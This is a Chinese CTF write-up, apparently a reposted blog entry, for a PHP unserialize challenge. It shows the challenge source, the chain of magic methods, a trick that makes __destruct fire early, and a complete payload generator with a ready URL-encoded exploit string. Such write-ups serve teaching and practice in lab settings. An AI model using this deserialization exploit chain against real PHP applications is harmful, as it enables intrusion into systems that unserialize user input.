当前位置: 首页 > news >正文

卷王杯 easy unserialize

因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。

进入题目,给了源码:

<?php
include("./HappyYear.php");
class one {
    public $object;
 
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
 
 
    public function __destruct() {
        @$this->object->add();
    }
 
 
    public function __toString() {
        return $this->object->string;
    }
}
 
 
class second {
    protected $filename;
 
 
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
 
 
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
 
 
class third {
    private $string;
 
 
    public function __construct($string) {
        $this->string = $string;
    }
 
 
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
 
 
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

要输出flag,就要调用方法MeMeMe()

一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法

数组调用类中方法

关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:

##例子1

<?php
error_reporting(0);

class one{
        public function test()
        {
                echo "123";
        }
}
$a=array(one,test);
$a();

##例子2

还有一种是形似题目这种调用数组名的:

可以从调试窗口看到得到清晰的划分。

输出:

123

接下来就是触发各类魔方方法

可以看之前的一篇文章

我这里就把链子理一下:

one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe

__destruct函数的GC回收机制:

参考:

https://www.jianshu.com/p/d73b3ca418b0

<?php
class one{
        public function __destruct(){
                echo "__destruct";
        }
}

$a = new one();

throw new Exception("高一新生报道");

解决方法:

<?php
class one{
    public $string;
    public function __destruct(){
        echo "__destruct";
    }
}
 $a=new one();
 $b=array($a,NULL);
 echo serialize($b);

以上代码序列化的结果:

a:2:{i:0;O:3:"one":0:{}i:1;N;}

把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct

payload:

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $year_parm=array("Happy_func");
    public $object;
    

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    public $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
$b = array($a,NULL);
echo urlencode(serialize($b));

生成的payload:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的

 

相关文章:

  • 常见Web安全漏洞深入解析
  • 如何从一款单片机移植到另一款单片机
  • linux创建用户和组、授权、禁止root远程登录、限制SSH的IP登录
  • 10大开源的快速开发平台—架构师必看
  • 3399-9.0 驱动根据vid和pid获取摄像头数量
  • Pandas DataFrame 保存到HTML文件(附炫酷 HTML Table 模板网站)
  • java过滤器(Filter)
  • 概率 | 考研 —— 复习知识点及方法 大总结
  • 【OPC UA】C# 通过OpcUaHelper建立OPC客户端访问KEPServerEx6 OPC服务器数据
  • 大数据算法系列4:二叉树,红黑树和B树
  • 想知道图片转表格用什么软件?不妨试试这些软件
  • 作为一名测试人员,如何拾开发者牙慧,开启兼职赚钱之路
  • Web自动化测试(二)—— Selenium-API操作
  • 【面试分享】Java 面试题(Spring Boot / Spring Cloud)
  • 【计算机毕业设计选题】10套易过的精品毕设分享(源码+论文)
  • 《深入 React 技术栈》
  • 【跃迁之路】【669天】程序员高效学习方法论探索系列(实验阶段426-2018.12.13)...
  • HTTP那些事
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • opencv python Meanshift 和 Camshift
  • PhantomJS 安装
  • springMvc学习笔记(2)
  • vue自定义指令实现v-tap插件
  • Webpack 4x 之路 ( 四 )
  • 服务器之间,相同帐号,实现免密钥登录
  • 高性能JavaScript阅读简记(三)
  • 入门级的git使用指北
  • 用jquery写贪吃蛇
  • 原创:新手布局福音!微信小程序使用flex的一些基础样式属性(一)
  • linux 淘宝开源监控工具tsar
  • Spring第一个helloWorld
  • ​补​充​经​纬​恒​润​一​面​
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #pragam once 和 #ifndef 预编译头
  • #Spring-boot高级
  • #宝哥教你#查看jquery绑定的事件函数
  • #微信小程序(布局、渲染层基础知识)
  • #我与Java虚拟机的故事#连载05:Java虚拟机的修炼之道
  • (10)STL算法之搜索(二) 二分查找
  • (2020)Java后端开发----(面试题和笔试题)
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (HAL库版)freeRTOS移植STMF103
  • (NO.00004)iOS实现打砖块游戏(九):游戏中小球与反弹棒的碰撞
  • (超详细)2-YOLOV5改进-添加SimAM注意力机制
  • (二)学习JVM —— 垃圾回收机制
  • (附源码)springboot建达集团公司平台 毕业设计 141538
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (含react-draggable库以及相关BUG如何解决)固定在左上方某盒子内(如按钮)添加可拖动功能,使用react hook语法实现
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (南京观海微电子)——COF介绍
  • (十二)springboot实战——SSE服务推送事件案例实现
  • (一)VirtualBox安装增强功能
  • (转)ABI是什么
  • (转)fock函数详解
  • (转)拼包函数及网络封包的异常处理(含代码)